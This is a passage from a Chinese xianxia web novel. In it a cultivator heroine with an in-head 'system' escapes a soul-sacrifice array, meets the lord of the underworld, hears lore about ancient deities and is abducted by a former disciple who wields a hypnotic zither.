折羡将抱钰的身体收进储灵袋,几人这才启程准备离开。
久颜突然回过神来,有些懊恼地道:“所以他那么爱偷懒,是不是因为我平时用他太多了。”
折羡:“……”
这话咋这么奇怪呢。
得知自己养了快二十年的弟弟没死,抱意也松了口气,甚至有了开玩笑的心思:“我看八成是。”
桑越没说话,他在空气中嗅到了一丝十分讨厌的气息,这有种千年仇敌找上门的危机感,让他不得不警惕神经,带着几人快速到了出口,二话不说开始解阵。
折羡见他这么努力,还以为他开窍了,也将自己多余的灵气输送给了他,顺便和抱意久颜互相通了信息。
二人紧赶慢赶还是差了一步。
在快解开时阵法突然加强,强大的反噬力将在场的四人震开,一阵硝烟四起后,鬼气如潮水般袭来,一霎那将几人包围。
“哼哼,我来的好巧。”
一团青色雾气卷过,那人的模样渐显,跟桑越相似的衣袍出现在折羡面前,脸上戴了一张青面獠牙的面具,在折羡视线落到他那个面具上的下一秒,便化作烟雾飘走了。
一张温润清俊的脸露在人前,微微下瞥的眉眼又略显倦怠,最吸引人的还是眉心处那一朵看不出类型的青色花印。
他扬起笑脸,眼里有了些光彩。
“师尊,好久不见,我终于等到你回来了。”
一只精致修长的手拦住了他伸出的手,四目相对,桑越本就不柔和的眉目更显凌厉,看过去的眼神跟要吃人似的。
“这献祭阵是你搞出来?”
无責勾了勾唇角,邀功似的冲折羡道:“对啊,师尊,你不在,我都有好好修炼哦。”
折羡震惊,折羡平复,折羡麻木,折羡在心底盘问隐若:“这是哪个npc,之前承漾的记忆里没出现过。”
隐若:“主人,见招拆招吧,这个世界好多bug,已经不能用正常逻辑来描述了。”
折羡:“我被你们坑惨了你知道吗?”
隐若:“主人,我已经联系不上神父了呜呜呜~”
折羡:“行。”
“我教你禁术了?”折羡手执瓷玉剑,在离他一米开外的安全距离端架子。
无責低下头,有些羞赧:“不曾教过。”
折羡:“你如今这是在干什么。”
无責姿态放得更低,脖子红透了,他主动道歉:“师尊不喜,弟子这就毁掉。”
反正人已经回来,这阵也用不上了。
再说,以后有的是机会把人留在身边,不能急这一时。
“慢着。”折羡脑子里突然闪过几个画面,她手里的剑回退成玉牌状态,手执玉牌,指尖点血,由玉牌浸入后弹到无責眉心那朵花印里,无責受不住纯净血体的净化,额间冒了汗,几秒过后,玉牌并没有亮。
“你非我座下弟子。”
无責失态下抓住了折羡的手腕,眼里满是执着,“我是。”
“桑越。”有事喊桑越就对了。
桑越早看这家伙不爽很久了,也抓着无責的手腕,厉声喝道:“松手。”
“又是你。”无責要强行把折羡拉过来,又被桑越手上的灵气烫得生疼,只能骂道:“阴魂不散的家伙,这么多年都跟着她,你到底想干什么。”
“我还想问你呢,你从哪个犄角旮旯冒出来的,没人教吗上来就认师父。”
“我的事用不着你来管。”
桑越冷笑:“谁稀得管你,放手。”
“不放。”
桑越直接掐着人的骨头硬生生掰开了,无責怕伤了折羡,也不敢用力,但他已经用定身术将折羡定在原地,不担心她跑掉。
先把这个麻烦精解决了再说。
扭头就跟桑越打起来了。
折羡之前把多余的灵气传给了桑越就为了让他破阵赶紧出去,这会儿虽然在恢复,但还是一不小心着了无責的道,让他得逞。
桑越体内灵气正愁没地方用,这会儿全使无責身上了,无責手里团着一团青色气体,看上去既没有灵气的纯净,也没有鬼气那么阴森。
折羡半眯着眼,留影石不知何时滚出来掉到了地上。
抱意和久颜正对付着无責带来的几个手下,其中一个就是当时折羡在厉鬼那里盘问出来的脖子上有印记的家伙。
那看来和桑越打的这个,就是它们嘴里的主人了。
折羡调转体内的灵气,将所有灵气聚在一处,强行突破了无責的定身术,因着灵气不够充足,还是受了点内伤,她从储灵袋里给自己也抓了把各种药丸,往嘴里倒。
没有多余的灵气就是这点不好,连把药丸化成气体直接吸入都不行,还得改成内服生吞,这样不仅药效慢,嘴里还苦唧唧的,反正折羡不喜欢。
她袋子里药丸也不够了,趁着这次完成两个任务出去后再想办法搞点药丸备着。
她自己练也行,就是效果可能一般。
这药丸简直就是把黄连、苦瓜、苦丁茶和黑巧混在一起做出来的,苦得她面部抽搐,脑子发昏。
桑越虽和无責打着,还是分了一丝心神在这边,见折羡为了挣脱定身受伤,不知不觉带着无責打到了折羡身边,在看到她拿补药丸当糖吃时还有些好笑,接着就看到折羡那张除了职业假笑就是面无表情的脸此刻变得丰富多彩。
他解下腰上的小袋子,一个转身错位放在了折羡手里,微低着头说了一句“吃点糖,很甜”。
无責一团青气就飞了过来,直冲着桑越面门,“臭东西,离我师尊远点!”
“你都不是她的徒弟,哪来的脸叫师尊。”桑越一袖子弹开。
“你才什么都不是!”无責气极,挥出的青色气体都变成了青黑色,那气落到衣服上,直接将那处的衣服腐烂,毒蔓延进皮肤。
这气本是打不到桑越的,奈何折羡吃完糖立即昏了过去,他把人接下抱住,来不及躲避,硬生生接了无責的那团毒气。
“师尊!”
无責赶紧冲了过来,一脸紧张,话语里也满是自责:“对不起。师尊,你怎么了?”
桑越瞬移到旁边,抱意和久颜立即拦住了无責。
“滚开!”
淡色素雅的衣衫在周身黑青气体的笼罩下倏地变了色,面具鬼魅般出现在脸上,在无責出现后就停止运转的献祭阵再次流动起来。灯烛更甚,黑色的鬼火将数不清的魂魄送往无責所在的脚下,伴随着惨烈悲苦的嚎叫声。
抱意在这些魂魄中隐约便认出一些离奚国君给她的线城人的画像,此外还看到了本应该在婺哀山受刑的那几个人的魂魄,她正疑惑着,就见到无責手里拿着上古献祭法器,那些在他脚下的鬼魂都卯足了劲儿往里面钻,生怕落在后面捞不着
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好处。
就在这时,折羡的储灵袋被一旁贴着的玉牌的碰了一下,袋子大开,几缕幽魂飘了出来,兰璎和苜夭以半人半兽的形态出现在无責面前,“主人。”
无責连眼神都懒得施舍给她们一个,继续往法器里加注收来的魂魄,“原来是被师尊收了。”
怪不得他怎么都查不到。
不过现在,他要把师尊抢过来。
从那个不要脸爱装可怜的贱人手里,把师尊,夺回来,再也不会有人能抢走他的师尊。
无責嘴角的笑意越来越大,连带着面具都诡异了不少,四周萦绕的。
“拦住那两个,罕涧不听话,现在就在本尊手中这个小玩意儿里面。”他把玩着手里的法器,化成一团青气瞬移到桑越身边,“你们要是做不到,知道后果。”
兰璎立即化身蛇相,缠住了抱意。
苜夭的兔形太小,她依旧保持着人兔半兽的状态,对她来说,对付一个人类,用不到它们妖界专属形态。
久颜把休眠在敛苍里的抱钰收入储物袋,换了另一把剑,他灵气大开,剑气招招狠厉,打了苜夭一个措手不及,苜夭兔形全露,借着灵活的身形勉强避开了久颜的剑。
不敢再大意,苜夭打起十二分精神,把自己这几百年修炼的速度都用上了,也只拖住了久颜一刻钟。
另一头的兰璎被抱意的形态吓了一跳,认出她是当年和她们一起被抓的那只雪鸮,暗讽道:“当初我们被柳欢珩那样折磨,都是拜承漾所赐,你如今倒好,为了救她要与我们反目吗?”
“我跟你们可没关系,何来的反目一说。”
抱意雪白的双翅翻动,将兰璎卷起,黑色瞳孔在眼周黄色部位的侵染下渐渐变大,眼里迸射出的来自帝王的威压之气将兰璎定住,兰璎动弹不得,被抱意从高空抛下。
蛇是软体动物,本来下坠如果有遮挡物不会那么严重,但抱意扔下她时已经视察过了,这片区域除了鬼,也只有他们。
最主要的是,他们还在无責的阵法之中,抱意本以为她飞不了多高,谁知道直接就窜上去了,那不得使劲给这蛇摔一下狠的。
打完就拎着兰璎往折羡那边赶,然后她才发现,他们早就被阵法传到了不同的地方,她对阵法不精通,本想试着学上次折羡说的办法强行破,就看到久颜拎着只兔子过来了。
“你看到他们了吗?”
“没。”
久颜把要醒过来的兔子敲晕,提着耳朵,眉头紧皱,有些苦恼地道:“我并不精通阵法结界,刚刚打晕这只兔子就被传到了这里。”
抱意轻咳一声,不自然地道:“无事,桑越在她身边,不会让那个家伙得逞的。”
“你认识那个人?”
“不算认识。”抱意把蛇当绳子一样盘了起来掏出丝带系好拎着,“不要小瞧他,那个人很强,他的灵气我看不透,在你我之上。”
久颜:“有人来了。”
抱意神色一敛,和久颜背靠着背。
一团紫黑色雾飘过,落在二人旁边。
“哈哈哈哈,主人果然料事如神,知道这俩废物没什么用,特意派了我来。”
那人现身,戴着一张纯黑面具,没有任何图案,只能看到俩青色眼眶,脖颈处有个印记,和之前折羡跟他们说的一模一样。
再联想到无責提到过的被献祭投到他法器中的罕涧。
“你是罕涧?”除了他,抱意想不到别的。
罕间嫌弃地撇开关系,道:“我怎么可能是那个智障东西!”
他摸了摸脸上的面具,手放到脖颈处的印记上,有些自豪地道:“我可是主人手下最得意的护法。”
“少废话!我不会让你们两个走出这献祭阵的。”
久颜一剑劈下,罕间从中间断开,一只手捂着自己还剩一半的肚子,笑得有些癫狂:“哈哈哈哈哈哈哈哈哈哈哈,真是多谢你帮我这个忙了,正找不到机会呢。”
他一分为二,力量比之先前更强,一半的面具挂在脸上,要掉不掉,两个半身各自单着一只手,朝久颜和抱意分别攻打过去。
抱意:“……”
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桑越一手抱着折羡,一手拨转之前掉进河里又被下属捞回来的乐器,善一鸰带着一群人出现,将无責拦住。
无責看着那几个在魔界极为出名的人,有些破防:“桑越,你贱不贱。”
“我没不让你叫人。”桑越换了个乐器,继续拨动,不一会儿又来了一群人,“破阵。”
“是。”
无責看到折羡还没醒,一边焦急地补阵,一边分出分身应对域都鹡鸰一族。
鹡鸰一族本不属于魔界,但在很久之前,魔界曾受惠于鹡鸰一族,后来鹡鸰一族归于魔界,老魔尊将这支强大的势力留给了自己最小的孩子,也就是魔子桑越。
魔子这个说法,并不是所有老魔尊的孩子都有资格称得上,只有纯正血统,且出生就是天生纯灵体的婴儿,才会冠上魔子之名。
以前好命有师尊护着也就罢了,如今投到魔尊座下,依旧这般好命,无責忮忌他忮忌得快疯掉了。
他把在这边的人手都召唤过来了,别以为就他桑越聪明。
有了拖住善一鸰他们的人,无責专心补阵,手里法器吸收地魂魄更快,两边打得动静太大,拆阵的和补阵的两股力量不相上下,终于把这个由无数鬼魂和生魂组成的,汇聚了数不清灯烛之光的线城,打塌了。
整座城都在松动,地动山摇,眨眼间沉陷。
阵法被毁,灯烛熄灭,世界陷入一片黑暗,一时间两边都陷入短暂的停滞。
不等众人反应,冥界之门大开,不计其数的幽冥蛾飞来,去捕捉无責还没来得及吸收掉的人类鬼魂。
阵法已破,桑越本要带折羡离开去养伤,身着长袍的判官从黄泉路走出来,后面跟着戴面具的黑白无常,一左一右走到了桑越旁边,以一种不容置喙的姿势把人拦住。
“魔君,我们大人有请。”
桑越淡淡地扫了他一眼,“这就是你们大人请人的态度?”
黑无常和白无常行了礼,往旁边挪了一点,露出判官那张稚嫩的脸,煞有介事:“魔君,我们大人有请。”
22. 极纯之灵
折羡昏迷的下一秒又开了睁眼。
首先低头看了一下自己的身份,很好,这次用的是一个女人的身体,不是什么猥琐男人。
吃糖之前她就感觉有点不对劲了,当时以为是药没消化,自身灵气没恢复,有些气短,现在想来,那八成是要灵魂出窍跑掉的前兆。怕自己再醒来嘴里依旧苦唧唧,所以还是趁着快昏过去之前猛吃了几颗糖。
这次她没威胁桑越护着她的肉身,因为她发现了,这次她并非是完全灵魂出窍,如今的魂灵和肉身已经完全贴合,且她已经修炼到中等灵气偏上的阶段,若是肉身遭受攻击,她会有感应,也能及时作出反应。
这里的场景和婺哀山桑越住的那个小院有些相似,不过大雪弥漫,远远看去一望无际,也没有多余的凸出来的建筑,只能勉强看到几百里外的雪山。
很奇怪的是,这次她也不是藏在这具身体里不能操控,而是一来就能使用。
她试着握了握拳,浓厚纯粹的灵气蔓延全身,游走在身体每一处,甚至于,这些灵气纯到没有一丝杂质,让她遍体舒适,这种感觉像是,魂灵久违地得到了品质上佳的营养品的滋润。
折羡干脆往雪地里一坐,开始运转灵气,落雪湿润,而她坐的位置,温热干燥,不带一丝水汽。
疏通了一遍经脉和全身骨骼之后,折羡伸了个懒腰,这才开始研究她现在的位置以及时代。
前者应该就是某个人迹罕至的大雪山,后者目前看不出来。
正当她准备离开这里时,她突然失去了身体控制权,好家伙,她又只能看不能动了。
身体的主人动了动手指,好看的眉眼微微蹙起,似乎在思考怎么开口,等了一阵,她还是建议道:“附身这种行为,不好。”
折羡一惊,条件反射地闭上了眼。
对方嗓音温凉,连语气都十分温柔:“掩耳盗铃,不可取。”
折羡:“……”
“你自行离开吧,我不会杀你。”她手指在脉搏处点了几下,“虽然我不知道你用了什么方法附身在我身上,但这邪术总归伤身,以后莫要再用了。”
折羡倒是想走啊,她现在动也动不了,灵气也用不出来,那边的肉身又没出什么大问题,她现在真是哑巴吃黄连。
“咦。”对方放下搭在脉搏上的手指,大拇指按住无名指的关节,略一用力,关节处流出一丝灵气,折羡感受不到痛,只能看到对方掏出绢帕擦了擦嘴角的血,沉默良久,才呢喃道:“这一遭,注定没避开么。”
“罢了。”
“你便留着吧。”
女人不再说话,也不管折羡,而是看向前方的雪山,不一会儿,山头点缀上星星点点的火花,比之大片的日照金山,更像是,被白雪覆盖的山头着火了。
下一瞬,女人就闪移到了几百里外的雪山附近。
折羡气笑了,远处的美景离近了看,才发现真是着火了。
更形象地说,是火山爆发。
在滚滚烈火落下时,天雷顺势降下,天边太阳升起,而女人伸出手,接住了翻飞的雪花。
在远处所有光茫汇聚一处,异象横生的那里,一朵如万物之灵的精花骤然绽放。
那朵花,和折羡手腕的那个,像,又不像。
折羡那个像是拼凑起来的,有着不同的形状,凑在一起也算不上多和谐。
而这朵花,三百六十度无死角,怎么看都是巧夺天工之作。
女人朝那花走去,那里电闪雷鸣,火光四溅,大雪纷飞,丝毫没影响到那花,不知是不是折羡的错觉,她觉得那花甚至涨势更好了。
在女人靠近时,折羡也看得更清晰。
那些花瓣果然和她手上那个不同。
“第二个极纯之灵诞生了。”
女人拿出一个小巧的玉瓶,洒了几滴自己的血液进去,那花闻着味道,跑进了瓶子里,微弯着摇摇头。
折羡能感觉到,这朵花,很开心。
这玉瓶是透明色,瓶子里能清晰看到花朵的根部,那些根茎将女人的血盘绕在中间,小心呵护着。
女人回到小屋,手指一点,将瓶子放在了桌上。
“师尊!我回来了。”
门外响起一道少年的声音,伴着开朗活泼的笑声。
“小責,不得乱喊。”女人半躺在床边,依旧在抚摸花瓣,看上去很是喜欢。
十三四岁的黑衣少年行了礼,在女人身旁坐下,随口应道:“好的,师尊。”
“你已过了十四,往后便同其他弟子住在上岐罢,不必再来我这里了。”
少年黑溜溜的眼珠立即浸了泪,撇着嘴:“师尊是不是捡了新的小孩不要无責了。”
他环视四周,把目光落到那朵新出现的花上,“是不是那朵花?”说着就一道灵气打了过去。
女人轻飘飘拦住他,依旧平静地看着被她灵气所伤跪在地上的少年,“无責,这些年我是把你惯坏了是吗。”
无責抬起头,抹掉脸上的泪,哽咽道:“徒儿知错。”
“不知礼数。”
无責改口:“弟子知错。”
“往后再不知礼数,便去天池悔过。”女人闭眼,揉了揉眉心,“下去罢。”
无責离开前看了一眼那朵花,不敢把视线落到女人身上。
折羡想拦,但没权利。
这小屁孩竟然是无責。
他叫这个被她寄存的身体的原主人为师尊,和初次见她叫得那声不说毫不相干,简直一般无二。
和她长得像的人,也只有承漾了。
所以,现在这个人,是承漾?
来不及深思,折羡气息渐弱,女人手指搭在脉搏上,正在将折羡驱逐离开。
“去罢,有人要担心你了。”
伴随着这声安心话语,折羡在一个香味浓厚的房间醒来。
环顾四周,不熟悉,但这行为很熟悉。
开门声响起的瞬间她就躲了起来,突然想到自己可以隐身,不用这么偷偷摸摸,又挺直了腰背在开门时溜了出去。
眼前的场景让折羡浅顿了一下,她险些以为她被无責撸到了他的地盘,外面每隔一段距离都挂了一盏线城那样的灯烛,些微不同的是灯烛会比线城的亮上许多。
房间传来一声尖叫:“啊!”<
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“仙君不见了!”
就在隔壁房间和某个鬼面缠身、笑容邪魅的家伙叙旧的桑越下一秒闪现进了房间。
跟着漫步而来的是周身都泛着自然之气的一名……穿着很贵气的男子,他手里拿着一本小簿子,细长的手指夹着根黄棕色的毛笔,笔端尾部穗子扫过隐身的折羡的手,她侧身探去,看清了来人的面目。
此人,半张脸被面具遮住,露出来的那部分脸十分苍白,就连唇部都泛着白,下颌倒是清晰,耳边的鬓发也恰到好处,头上那冠冕样式十分别致,目测,身份不低。
他似有所感,靠在门上掀起眼皮,开了尊口:“别看了。”
嗯?
桑越进屋低嗅了一下,提着的心放回肚子里,“她没事。”
“嗯哼。”手里的簿子被他揣回袖子里,他道:“就在我面前。”
折羡:“……”桑越都没发现,他怎么知道的?
折羡现身,恰巧桑越出来,三人面面相觑。
“这是?”
“我的地盘。”
折羡没辙了,怎么会有这么装的人啊。
她答:“那我走?”
“啧。”松倏抄着手,大笑了一声,熟练地接话:“那给你?”
“那算了。”
“那不行。”
桑越踢了他一脚,“说点正经的。”
松倏瞥了他一眼,又笑:“仙君,久仰大名。”
折羡:“哪里的话,短识小友。”
“哈哈哈,你真的,”比以前活泼多了。
松倏带着他们进了自己的楼阁,边走边讲着:“这里是冥界,你所看到的灯烛是冥界专属的照冥灯,线城是很久之前我推算出那里有一劫,所以在那里留了个灯。”
“没曾想后来出了事,是无責把那里占住了,我已经尽力救回了一部分线城的魂魄,目前正送他们去转生了。”
正前来送食物的小婢使行了礼:“见过大人。”
“你的,咳,另外两位朋友我也一并接过来了。”松倏亲自拉开帘子,抱意和久颜一个坐得端端正,一个翘着腿大马金刀地跨坐着,白色的头发飘在满是怒意的脸上。
“松倏,又见面了。”
松倏在她旁边坐下,将她翘起的腿按下去,“小抱意都这么大了。”
抱意冷哼一声,拍开了他的爪子。
久颜抱着剑,在剑身敲来敲去,试图跟抱钰沟通。
见折羡也坐了,桑越才紧挨着落座。
在她耳边说道:“松倏是转生阁的阁主,也是冥界的主人。”
折羡挑了个蓝色的葡萄,开始剥皮,跟着点头,反射弧突然就跳到了刚才隐身的那会儿,她肯定地问:“你很担心我?”
“怕我死了你也会死?”
桑越被噎了一下,他想解释:“其实那个生死印……”
“叮——任务对象出现,提醒,提醒,本次任务对象不可采取血液。”隐若一发任务就变得特别人机,连通知声都是带着电音的。
折羡被脑子里的声音打断了,没听到桑越的话,“嗯?你刚刚说生死印怎么了?”
23. 上古神明1
桑越扯了扯嘴角,话到嘴边转了个弯:“生死印对我影响有点严重,你昏迷的时候我——”
“叮——任务对象松倏,是否进行生死簿夺取?”
什么玩意儿?
折羡屈指在玉牌上点了点,重复了一遍:“夺取生死簿?”
然后折羡脑海里就出现了两个选项:
【壹夺取
贰不夺取】
贰是灰色的,无法点选。
折羡:“……”
多么眼熟,多么霸道的操作。
再次被忽视了的桑越闭上了嘴,手里的葡萄汁将掌心染得薄蓝一片。
他余光随意扫了一眼愣神的折羡,最后把意味深长的眼神落到了她敲击的玉牌上。
“你指的生死簿是松倏手里那个薄薄的小册子?”
隐若不答,只是一味地重复:“请选择是否进行生死簿夺取。”
好巧不巧的,松倏半耷拉着的手垂下来,那个小本子掉了出来,折羡视线一下子就粘上去了。
那册子,她见的第一眼就想看看了,还有那支黄棕色的毛笔,很有灵性的东西。
松倏和折羡同时朝地上伸出手,在抬头时又对视上,两人眼里火花四射,更精确地说,是折羡眼里杀意一闪而过。
松倏直起身,很随意地递给她,“喜欢?”
“你给?”
松倏手抵着唇,闷声笑了起来:“那得看祂愿不愿意跟你了。”
“什么意思?”折羡挑眉。
桑越在一旁支着手当背景板,眨眼间松倏手里不知何时多了支毛笔,他搁在肩上,生死簿靠近时,松倏掌心里多了只小松鼠。
小松鼠趴在松倏肩头,小脑袋转了一圈,抄着爪子挠了两下。
“淮衿。”
肩上的松鼠落到地上,变成了人形。
是一个五六岁小孩的模样。
乍一看还无法辨出它的性别。
“祂是上古仙兽所化,没有性别。”松倏解释道。
“唔。”折羡把玉牌拍在桌上,“你能帮我看看这是个什么吗?”
桑越有样学样,摸出手里的乐器,“阁主帮我也看看吧。”
松倏白了他一眼,淮衿变成人样依旧不改松鼠习性,走起路来蹦蹦跳跳的,在几人身边来回转着。
“你是松树的朋友?”
“松树?松倏?”桑越忍不住阴阳:“你这个名字有点意思。”
玉牌在松倏拿起时装起了死,连平时在折羡面前炫耀时不时闪着的光此刻完全隐了起来,甚至表面还蒙上了一层灰。
“可惜不能让给你。”他擦了擦那牌子上的灰,刚擦完又蒙上了一层。
生怕别人不知道它如此有灵性。
折羡点了点它。
终于老实了。
淮矜站在折羡面前,仰着头看她。
一直在脑子里让折羡做选项的系统音跟死了一样,没半点声音。
松倏一手拿玉牌,一手拿小乐器,淮衿从嘴里吐出一个小松子,那松子在祂手里成了一个刚好五六岁孩子能拿的毛笔,毛笔整体和淮矜的黄棕色卷毛头发一样,仿佛那根笔就是从那里拔下来做的。
“送给你。”
折羡接过,脑子里“叮”了一声,准备等一等后续呢,松倏举着玉牌放到了灯烛的黄光下面,折羡有一瞬间觉得脑子里的那个东西不见了。
她莫名觉得自己发现了什么,没等她细究,淮矜真的从脑袋上揪了一根头发,他捂着头一脸委屈。
“这个也送给你。”
折羡一边试探自己发现的真相,一边神色无常地接过,她以为真是根头发,哪知拿到手里是一个很小很小的簿子,和松倏那时候拿在手里的几乎一样,除了大小差别。
淮矜有两个小酒窝,冷脸的时候看着很萌,见折羡接过,忍不住板着脸笑了一下,“我不能跟你走,虽然你是个好人。但是松树不能离开我,所以我拿自己的果子和头发作为礼物赔偿。”
折羡:“你本来就是他的,不用道歉。”
淮矜鼓了鼓嘴,不好意思地道:“我喜欢你,但不能跟你走。”
虽然这个仙兽可能比自己大了几千上万岁,但是此刻顶着一张冷脸一本正经的样子把折羡逗笑了,她将毛笔和簿子都放在手心,另一只手灵气聚拢,给这两个东西上了一层结界。
“那就谢谢你的礼物。”
在淮矜惊喜地不可思议睁大眼睛的时候,一道细微的灵气似有若无地飞向了松倏拿玉牌的手。
背景板的桑越默默走到那里,不经意间扰乱了正全神贯注研究玉牌的松倏。
“?”
被打乱了节奏的松倏推算不下去,加上今日天气太差,阴云密布,都没透过灯烛看到几颗星,连接在玉牌上的那几颗星也因着走向错乱彻底失去光泽,隐没进云层里了。
松倏叹了口气,没了平时的游刃有余:“抱歉,我算不出它的来历。”
“不过这个乐器,我有一定的了解。”松倏把乐器放到桌上,淮衿搬来一盏更亮的灯,照得几人脸上泛着光,桑越这会儿也不捣乱了,折羡见玉牌没查出什么,松了口气,淮衿更是两腿倒腾着要开始听松倏讲故事。
“你们知道上古神明这个说法吗?”松倏摊开生死簿,“生死簿记录这世间所有形形色色的魂灵,凡有灵之物,皆在册,天命笔掌握着这世间九成九以上的魂灵的命运。”
“剩下的那一点,不在册内,也不被天命笔所掌控。因为祂们被选定为这世间安定的守护者,是随机,也是命定。”
松倏翻开一页簿子,上面记录的每个魂灵的生辰八字,生死何为,一生经历等等如海浪拍打沙滩,来得凶猛,去得无疾。不过须臾,便又换了一缕魂灵。
“上古神明并非全是神,而是一个代称。准确来说,祂们是独立于六界之外而存在的专为这个世间秩序而存在的‘明’。”
“松树你每次讲八卦都好啰嗦,这跟乐器有什么关系啊。”淮衿两颗门牙正在磕一个松子,只听嘎巴一声,松子壳碎掉,露出里面完整的肉。
“这个乐器,就是这其中一位‘明’集天才地宝而做成的。那位‘明’在传说史册记录中有个专属的封号——体器言灵。”松倏手指一点,小小的乐器在灯烛照耀下更清晰,“何为体器言灵?便是御器的最高境界,能达到器灵合一。”
器是天才地宝的具象化,任何一个器在被创造出来的那一刻就是独属于器本身的故事,体器言灵可与自生器
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灵沟通,也能与创造器灵合二为一。
在鼎盛时期甚至能达到天下器灵皆听号令的局面。
“你们看,凡是那位所做的器,都是由纯天才地宝的材料制成,且在器的底部,都会有一个独属于祂的标记。”
要不是这个灯够亮,还真看不出来那个标记。
“这个乐器有个名字,叫雪爻。雪爻并非是一个,而是一对,两者可完美契合,另一个名为血爻。”
折羡听到称谓那里,心里咯噔了一下,她想到了久颜和抱意的魂灵收集时的那段话的结尾,都是一个类似的封号。
不知道跟这个是不是一个意思。
应该不太可能,毕竟上古神明都是传说了,这真假何其难辨?
桑越似乎一点都不惊讶,只是引导性的发出了一个疑问:“那另一个现在何处,你能找到吗?”
“你都只有一个,我哪能查到另一个。”
“你不是号称无所不能吗阁主,上天入地哪一项不是你的长项。”桑越接过他递来的雪爻,指腹摩挲着琴弦,没有多看一眼那上面的字。
“你这人怎么说话的,我家松树那自是天下无敌,不过是不想搭理你罢了。”淮衿对着桑越呲牙,翻了个黄眼。
桑越还没丧心病狂到和小孩计较,他起身,和那悬挂在高处无法触及的月亮相视,哀婉的音乐声响起,他细长分明的指骨拨弄着上面的琴弦,轻巧地划过,在这看上去热闹非凡,满是灯烛照耀的转生阁之中,笼罩了一层迷雾般的哀伤。
折羡心下一阵悸动,她眼前一晃,仿佛看到了另一个松倏,淮衿和桑越在她面前。
她硬撑着没眨眼,睁久了眼睛酸疼,眼眶也跟着红了,正要拿手揉一揉,眼睛就被人用温热的手遮住了,耳边传来那道温柔又润朗的声音:“刚刚我弹奏的时候你一直睁着眼睛,休息一下。”
短暂地黑暗拢近,折羡下意识地握紧了拳头,听到声音又松了一分,“这首曲子叫什么名字?”
“断昭。”
两道声音同时响起,松倏也从乐声里回神,和桑越在空气中眼神交换,又都默默移开。
“你们都知道?这也是传说来的?”折羡想起来那本《离州大陆史》,也许那本书还有一层她没打开的封印。
她总觉得那本书没那么简单。
折羡想到这里,不经意开口道:“你先去说剩下那一点都为上古神明,祂们都有哪些你清楚吗,你说的这位‘明’,祂有名字?”
松倏又恢复到了那个吊儿郎当、眼里含着逗弄人的笑意的阁主。
明明是一副看尽天机,远离世俗的佛子做派,偏偏长了张风流公子哥的模样,让他的行为举止在任何时候看上去都有种放浪不羁的随性感,他挑着眉摇了摇头,“据说是九个,但这段史册失传太久,这都是六界传下来的说法。”
“还有一种公认的说法是十一位,而那两位违背天道叛出‘明’位,被夺去了封号,所以祂们不属于上古神明。”
淮衿嘻嘻一笑,摸了摸自己的黄棕色卷发,“松树,你说我有没有一种可能是那什么神明啊?”
折羡和松倏同时朝祂看去,长久的沉默后,是桑越既没肯定也没否认的一声叹息:“淮衿,你该去休息了。”
24. 无責无责
这一整晚折羡都在想,抱意和久颜以及看上去什么都知道的松倏,到底是不是那什么神明。
甚至连桑越、淮衿和那个叫她师尊的无責她都算进去了,这些人,每个都裹着秘密,混在一起织成了谜团。
那死去的承漾在这其中起了什么作用。
看似摆在明面上的记忆,又有多少是真相,有多少是为了误导她专门精心谋划而呈现出来的。
她来到这里后的两次魂灵离体是偶然还是必然,主神让她收集魂灵温养精花是为了什么?
这些魂灵的特殊之处是否跟松倏说的上古神明有关。
她打开从松倏那借来的复印件生死簿,看到有一栏灰掉的名字,下方还有对应的画像。
这应当是死去的魂灵。
不过这俩看着有些眼熟啊,这个形象有点像她之前在某画册上看的同人图,就是这里的看着更为隐晦。
想着想着,脑子里突然就出现了桑越那张让人一眼万年的脸,那双狭长上扬的眉眼,黛色沉沉的眼瞳,就连左眼眉下的痣都尤其清晰。
她原本困倦的大脑霎时清醒,甚至越来越兴奋。
折羡坐起身,身形一转翻出了窗,一个闪身又飞上屋顶,转生阁隶属于冥界最中心位置,是阎罗殿最辉煌的一座殿宇,从最高处的瞭望台可以看去,可以将冥界所有景色都尽收眼底,照冥灯长亮,因为冥界根本没有白日黑夜的说法。
只有星星月亮出现,星星月亮不出现两种情况。
她刚坐下没多久,就被一道乐声引去注意力。
那乐器,一个时辰前松倏才介绍过。
曲是同一首曲,调子却不是她记忆中熟悉的调子,如果说桑越弹出的调哀婉怅然,满是遗憾和悲伤,这个曲调则有着浓浓的恨意和一点点复杂难懂的情绪。
像是挣扎,又像是不甘,或者用求而不得来形容,更为贴切。
一曲毕,无責在折羡旁边现身。
“师尊。”他黯淡的神色落到折羡身上时亮了起来,“好听吗?”
折羡想到当时那女子对无責的称呼,嘴快过脑子先叫了一声:“小責。”
“师尊。”他道。
下一秒,一滴泪砸在了乐器上,无責蹲在旁边,扯着折羡的袖子,哭得无声。
“……”
折羡不敢动。
“你的乐器挺特别的,有名字吗?”
“师尊。它叫血爻。”无責抹着泪,将乐器揣回怀里,本以为打感情牌就能主动给她看的折羡:“……”
无責还小心翼翼扯着折羡的袖子,“对不起师尊,这是你送给我的,不能拿回去。”
折羡一惊,急着撇清关系:“首先,我不是你师尊。”折羡把自己的袖子扯回来,往旁边一挪,“再者,你的迷魂香对我没用。”
无責手里一空,他垂下眼,“师尊,你还是跟以前一样。”总是对我那么冷淡。
“迷魂香本身就没什么作用,有用的是血爻琴声里的催眠粉。”
血爻凹槽旁里细闪一晃而过,琴音在折羡耳旁响起,她眯着眼,隐若突然在她脑子里乱叫:“主人快封住听力!”
来不及反应,无責上前,抓住了她的手腕,“师尊,跟我走。”
说完下一秒折羡眼中一滞,顺着他的话道:“好。”
隐若:“主人,你还能听到我说话吗?”
“主人,《离州大陆史》解锁二层记录了,有你感兴趣的上古神明系列。”
“主人,你还记得你的任务吗”
“主人,这是几?”
“……”
没有回应,只见折羡笑眯眯地,任由无責箍着她,桑越过来时就留了两个离去的背影给他。
他快步追上去。
还在试图和折羡沟通的隐若突然就被强制性从折羡脑中弹了出去。
无責拽下她挂在腰间的玉牌,原本想直接毁掉,在看到那泛着金光的字后又顿住,只是在上面加了七八道封印,又涂了点他专门炼制了几百年才成功的毒药,最后丢入幽冥河。
隐若:“……”
它真的很想骂爹。
受到生死印波动赶过来的桑越追到幽冥河,有关折羡的踪迹完全消失。
他心里怒气翻涌,长久压抑着的戾气随着垂在手边越来越浓郁的灵气上涨,在快达临界值时善一鸰从幽冥河里出来,浑身还打着颤,在桑越要屠尽整个冥界的平静面色中将手里的东西递过去。
“主君。”
一块黑里透金的玉牌静静地淌在桑越手中,他手指收拢,玉牌没坏,他的掌心落了血。
善一鸰嘴角一抽,他一只天上飞的鸟冒着被淹死的风险去河里找一个不知道飘去哪的玉牌,都没崩溃,他家主君一眼没见到仙君,已经急得自残,这谁看了不想骂两句。
